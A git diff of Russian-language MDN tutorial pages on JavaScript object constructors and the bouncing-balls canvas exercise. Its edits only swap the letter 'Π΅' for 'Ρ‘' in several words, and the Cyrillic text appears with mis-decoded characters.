+<p>Π’ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>new</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ экзСмпляр Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слСдуСт имя Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ с Π΅Ρ‘ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΌΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ, содСрТащимися Π² ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобках, ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ сохраняСтся Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ - ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ΅Β Π½Π° Ρ‚ΠΎ, ΠΊΠ°ΠΊ вызываСтся стандартная функция. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ экзСмпляр создаётся Π² соотвСтствии с этим ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ΠΌ:</p>
<pre class="brush: js notranslate">function Person(name) {
this.name = name;
@@ -204,7 +204,7 @@ person1.bio()
<h3 id="Π”Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠΈΠ΅_упраТнСния">Π”Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠΈΠ΅ упраТнСния</h3>
-<p>Для Π½Π°Ρ‡Π°Π»Π°, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΅Ρ‰Π΅ ΠΏΠ°Ρ€Ρƒ собствСнных строк создания ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ элСмСнты ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… экзСмпляров ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</p>
+<p>Для Π½Π°Ρ‡Π°Π»Π°, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΅Ρ‰Ρ‘ ΠΏΠ°Ρ€Ρƒ собствСнных строк создания ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ элСмСнты ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… экзСмпляров ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</p>
<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π΅ΡΡ‚ΡŒ нСсколько ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ с нашим ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ <code>bio()</code> - Π²Ρ‹Π²ΠΎΠ΄ всСгда Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ мСстоимСниС Β«HeΒ» ("Он" Π² ΠΏΠ΅Ρ€. с Π°Π½Π³Π».), Π΄Π°ΠΆΠ΅ Ссли ваш Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ являСтся ΠΆΠ΅Π½Ρ‰ΠΈΠ½ΠΎΠΉ ΠΈΠ»ΠΈ ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Π³Π΅Π½Π΄Π΅Ρ€Π½ΠΎΠΉ классификациСй. И <code>bio</code> Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΄Π²Π° интСрСса, Π΄Π°ΠΆΠ΅ Ссли Π² массивС <code>interests</code> ΡƒΠΊΠ°Π·Π°Π½ΠΎ большС. ΠœΠΎΠΆΠ΅Ρ‚Π΅ Π»ΠΈ Π’Ρ‹ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ это Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ класса (конструкторС)? Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ любой ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Π°ΠΌ нравится Π²Π½ΡƒΡ‚Ρ€ΠΈ конструктора (Π²Π°ΠΌ, вСроятно, понадобятся нСсколько условий ΠΈ Ρ†ΠΈΠΊΠ»). ΠŸΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ прСдлоТСния Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ структурированы ΠΏΠΎ-Ρ€Π°Π·Π½ΠΎΠΌΡƒ Π² зависимости ΠΎΡ‚ ΠΏΠΎΠ»Π° ΠΈ Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΈΠΌΠ΅Π΅Ρ‚ Π»ΠΈ число пСрСчислСнных интСрСсов 1, 2 ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ 2.</p>
@@ -268,7 +268,7 @@ person2.greeting()</pre>
<h2 id="Π‘Π²ΠΎΠ΄ΠΊΠ°">Π‘Π²ΠΎΠ΄ΠΊΠ°</h2>
-<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ прСдставлСн ΡƒΠΏΡ€ΠΎΡ‰Π΅Π½Π½Ρ‹ΠΉ взгляд Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ Ρ‚Π΅ΠΎΡ€ΠΈΡŽ β€” это Π΅Ρ‰Π΅ Π½Π΅ вся история, Π½ΠΎ ΠΎΠ½Π° Π΄Π°Π΅Ρ‚ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, с Ρ‡Π΅ΠΌ ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ Π΄Π΅Π»ΠΎ. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΌΡ‹ Π½Π°Ρ‡Π°Π»ΠΈ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ способы создания экзСмпляров ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</p>
+<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ прСдставлСн ΡƒΠΏΡ€ΠΎΡ‰Ρ‘Π½Π½Ρ‹ΠΉ взгляд Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ Ρ‚Π΅ΠΎΡ€ΠΈΡŽ β€” это Π΅Ρ‰Ρ‘ Π½Π΅ вся история, Π½ΠΎ ΠΎΠ½Π° Π΄Π°Ρ‘Ρ‚ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, с Ρ‡Π΅ΠΌ ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ Π΄Π΅Π»ΠΎ. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΌΡ‹ Π½Π°Ρ‡Π°Π»ΠΈ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ способы создания экзСмпляров ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</p>
<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΡ‹ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² JavaScript.</p>
diff --git a/files/ru/learn/javascript/objects/object_building_practice/index.html b/files/ru/learn/javascript/objects/object_building_practice/index.html
index b24628ef50..155d130c77 100644
--- a/files/ru/learn/javascript/objects/object_building_practice/index.html
+++ b/files/ru/learn/javascript/objects/object_building_practice/index.html
@@ -11,7 +11,7 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/Object_building_practice
<div>{{PreviousMenuNext("Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects/Adding_bouncing_balls_features", "Learn/JavaScript/Objects")}}</div>
-<p class="summary">Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ… ΠΌΡ‹ рассмотрСли всю ΡΡƒΡ‰Π΅ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ Ρ‚Π΅ΠΎΡ€ΠΈΡŽ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² JavaScript ΠΈ Π΄Π΅Ρ‚Π°Π»ΠΈ синтаксиса, давая Π²Π°ΠΌ ΠΏΡ€ΠΎΡ‡Π½ΡƒΡŽ основу для Π½Π°Ρ‡Π°Π»Π°. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ погруТаСмся Π² практичСскоС ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅, давая Π²Π°ΠΌ большС ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΈ Π² создании ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² JavaScript, с вСсСлым ΠΈ красочным Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ.</p>
+<p class="summary">Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ… ΠΌΡ‹ рассмотрСли всю ΡΡƒΡ‰Π΅ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ Ρ‚Π΅ΠΎΡ€ΠΈΡŽ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² JavaScript ΠΈ Π΄Π΅Ρ‚Π°Π»ΠΈ синтаксиса, давая Π²Π°ΠΌ ΠΏΡ€ΠΎΡ‡Π½ΡƒΡŽ основу для Π½Π°Ρ‡Π°Π»Π°. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ погруТаСмся Π² практичСскоС ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅, давая Π²Π°ΠΌ большС ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΈ Π² создании ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² JavaScript, с вСсёлым ΠΈ красочным Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ.</p>
<table class="learn-box standard-table">
<tbody>
@@ -35,7 +35,7 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/Object_building_practice
<ol>
</ol>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Canvas API</a> для рисования ΡˆΠ°Ρ€ΠΎΠ² Π½Π° экранС ΠΈ API <a href="https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame</a> для Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ всСго экрана - Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… Π·Π½Π°Π½ΠΈΠΉ ΠΎΠ± этих API, ΠΈ ΠΌΡ‹ надССмся, Ρ‡Ρ‚ΠΎ ΠΊ Ρ‚ΠΎΠΌΡƒ ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρƒ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚Π΅ эту ΡΡ‚Π°Ρ‚ΡŒΡŽ, Π²Π°ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ интСрСсно ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈΡ… большС. По ΠΏΡƒΡ‚ΠΈ ΠΌΡ‹ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡΡ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ изящными ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ ΠΈ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ ΠΏΠ°Ρ€Ρƒ Ρ…ΠΎΡ€ΠΎΡˆΠΈΡ… ΠΏΡ€ΠΈΠ΅ΠΌΠΎΠ², Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ отскоки ΡˆΠ°Ρ€ΠΎΠ² ΠΎΡ‚ стСн ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Ρ‚ΠΎΠ³ΠΎ, ΠΏΠΎΠΏΠ°Π»ΠΈ Π»ΠΈ ΠΎΠ½ΠΈ Π΄Ρ€ΡƒΠ³ Π² Π΄Ρ€ΡƒΠ³Π° (ΠΈΠ½Π°Ρ‡Π΅ извСстный ΠΊΠ°ΠΊ <strong>ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ столкновСния</strong>).</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Canvas API</a> для рисования ΡˆΠ°Ρ€ΠΎΠ² Π½Π° экранС ΠΈ API <a href="https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame</a> для Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ всСго экрана - Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… Π·Π½Π°Π½ΠΈΠΉ ΠΎΠ± этих API, ΠΈ ΠΌΡ‹ надССмся, Ρ‡Ρ‚ΠΎ ΠΊ Ρ‚ΠΎΠΌΡƒ ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρƒ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚Π΅ эту ΡΡ‚Π°Ρ‚ΡŒΡŽ, Π²Π°ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ интСрСсно ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈΡ… большС. По ΠΏΡƒΡ‚ΠΈ ΠΌΡ‹ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡΡ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ изящными ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ ΠΈ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ ΠΏΠ°Ρ€Ρƒ Ρ…ΠΎΡ€ΠΎΡˆΠΈΡ… ΠΏΡ€ΠΈΡ‘ΠΌΠΎΠ², Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ отскоки ΡˆΠ°Ρ€ΠΎΠ² ΠΎΡ‚ стСн ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Ρ‚ΠΎΠ³ΠΎ, ΠΏΠΎΠΏΠ°Π»ΠΈ Π»ΠΈ ΠΎΠ½ΠΈ Π΄Ρ€ΡƒΠ³ Π² Π΄Ρ€ΡƒΠ³Π° (ΠΈΠ½Π°Ρ‡Π΅ извСстный ΠΊΠ°ΠΊ <strong>ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ столкновСния</strong>).</p>
<h2 id="Начало_Ρ€Π°Π±ΠΎΡ‚Ρ‹">Начало Ρ€Π°Π±ΠΎΡ‚Ρ‹</h2>
@@ -73,7 +73,7 @@ var height = canvas.height = window.innerHeight;</pre>
<h2 id="ΠœΠΎΠ΄Π΅Π»ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅_мяча_Π²_нашСй_ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅">ΠœΠΎΠ΄Π΅Π»ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ мяча Π² нашСй ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅</h2>
-<p>Π’ нашСй ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ½ΠΎΠ³ΠΎ ΡˆΠ°Ρ€ΠΎΠ², ΠΏΠΎΠ΄ΠΏΡ€Ρ‹Π³ΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… Π²ΠΎΠΊΡ€ΡƒΠ³ экрана. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ эти ΡˆΠ°Ρ€Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ вСсти сСбя ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ, ΠΈΠΌΠ΅Π΅Ρ‚ смысл ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΈΡ… Π² Π²ΠΈΠ΄Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. НачнСм с добавлСния ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ конструктора Π² ΠΊΠΎΠ½Π΅Ρ† нашСго ΠΊΠΎΠ΄Π°.</p>
+<p>Π’ нашСй ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ½ΠΎΠ³ΠΎ ΡˆΠ°Ρ€ΠΎΠ², ΠΏΠΎΠ΄ΠΏΡ€Ρ‹Π³ΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… Π²ΠΎΠΊΡ€ΡƒΠ³ экрана. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ эти ΡˆΠ°Ρ€Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ вСсти сСбя ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ, ΠΈΠΌΠ΅Π΅Ρ‚ смысл ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΈΡ… Π² Π²ΠΈΠ΄Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Начнём с добавлСния ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ конструктора Π² ΠΊΠΎΠ½Π΅Ρ† нашСго ΠΊΠΎΠ΄Π°.</p>
<pre class="brush: js notranslate">function Ball(x, y, velX, velY, color, size) {
Β  this.x = x;
@@ -88,12 +88,12 @@ var height = canvas.height = window.innerHeight;</pre>
<ul>
<li><code>x</code> ΠΈ <code>y</code> ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ - Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹, Π³Π΄Π΅ мяч Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ Π½Π° экранС. ΠšΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚Β Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π΅ ΠΎΡ‚ 0 (Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ Π»Π΅Π²Ρ‹ΠΉ ΡƒΠ³ΠΎΠ») Π΄ΠΎ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΈ высоты ΠΎΠΊΠ½Π° просмотра Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° (Π½ΠΈΠΆΠ½ΠΈΠΉ ΠΏΡ€Π°Π²Ρ‹ΠΉ ΡƒΠ³ΠΎΠ»).</li>
- <li>Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Π°Ρ ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Π°Ρ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ (<code>velX</code> ΠΈ <code>velY</code>) - ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΡˆΠ°Ρ€Ρƒ Π·Π°Π΄Π°Π½Π° Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Π°Ρ ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Π°Ρ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ; Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ эти значСния Π±ΡƒΠ΄ΡƒΡ‚ рСгулярно Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒΡΡ ΠΊ значСниям ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ <code>x</code>/<code>y</code>, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡˆΠ°Ρ€Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅.</li>
+ <li>Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Π°Ρ ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Π°Ρ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ (<code>velX</code> ΠΈ <code>velY</code>) - ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΡˆΠ°Ρ€Ρƒ Π·Π°Π΄Π°Π½Π° Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Π°Ρ ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Π°Ρ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ; Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ эти значСния Π±ΡƒΠ΄ΡƒΡ‚ рСгулярно Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒΡΡ ΠΊ значСниям ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ <code>x</code>/<code>y</code>, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡˆΠ°Ρ€Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅.</li>
<li><code>color</code> - ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ мяч ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Ρ†Π²Π΅Ρ‚.</li>
<li><code>size</code> - ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ мяч ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€ - это Π±ΡƒΠ΄Π΅Ρ‚ Π΅Π³ΠΎ радиус в пиксСлях.</li>
</ul>
-<p>Π­Ρ‚ΠΈΠΌ ΠΌΡ‹ сортируСм свойства, Π½ΠΎ Ρ‡Ρ‚ΠΎ насчСт ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²? ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ эти ΡˆΠ°Ρ€Ρ‹ Π½Π° самом Π΄Π΅Π»Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π² нашСй ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅.</p>
+<p>Π­Ρ‚ΠΈΠΌ ΠΌΡ‹ сортируСм свойства, Π½ΠΎ Ρ‡Ρ‚ΠΎ насчёт ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²? ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ эти ΡˆΠ°Ρ€Ρ‹ Π½Π° самом Π΄Π΅Π»Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π² нашСй ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅.</p>
<h3 id="РисованиС_ΡˆΠ°Ρ€Π°">РисованиС ΡˆΠ°Ρ€Π°</h3>
@@ -115,7 +115,7 @@ var height = canvas.height = window.innerHeight;</pre>
<ul>
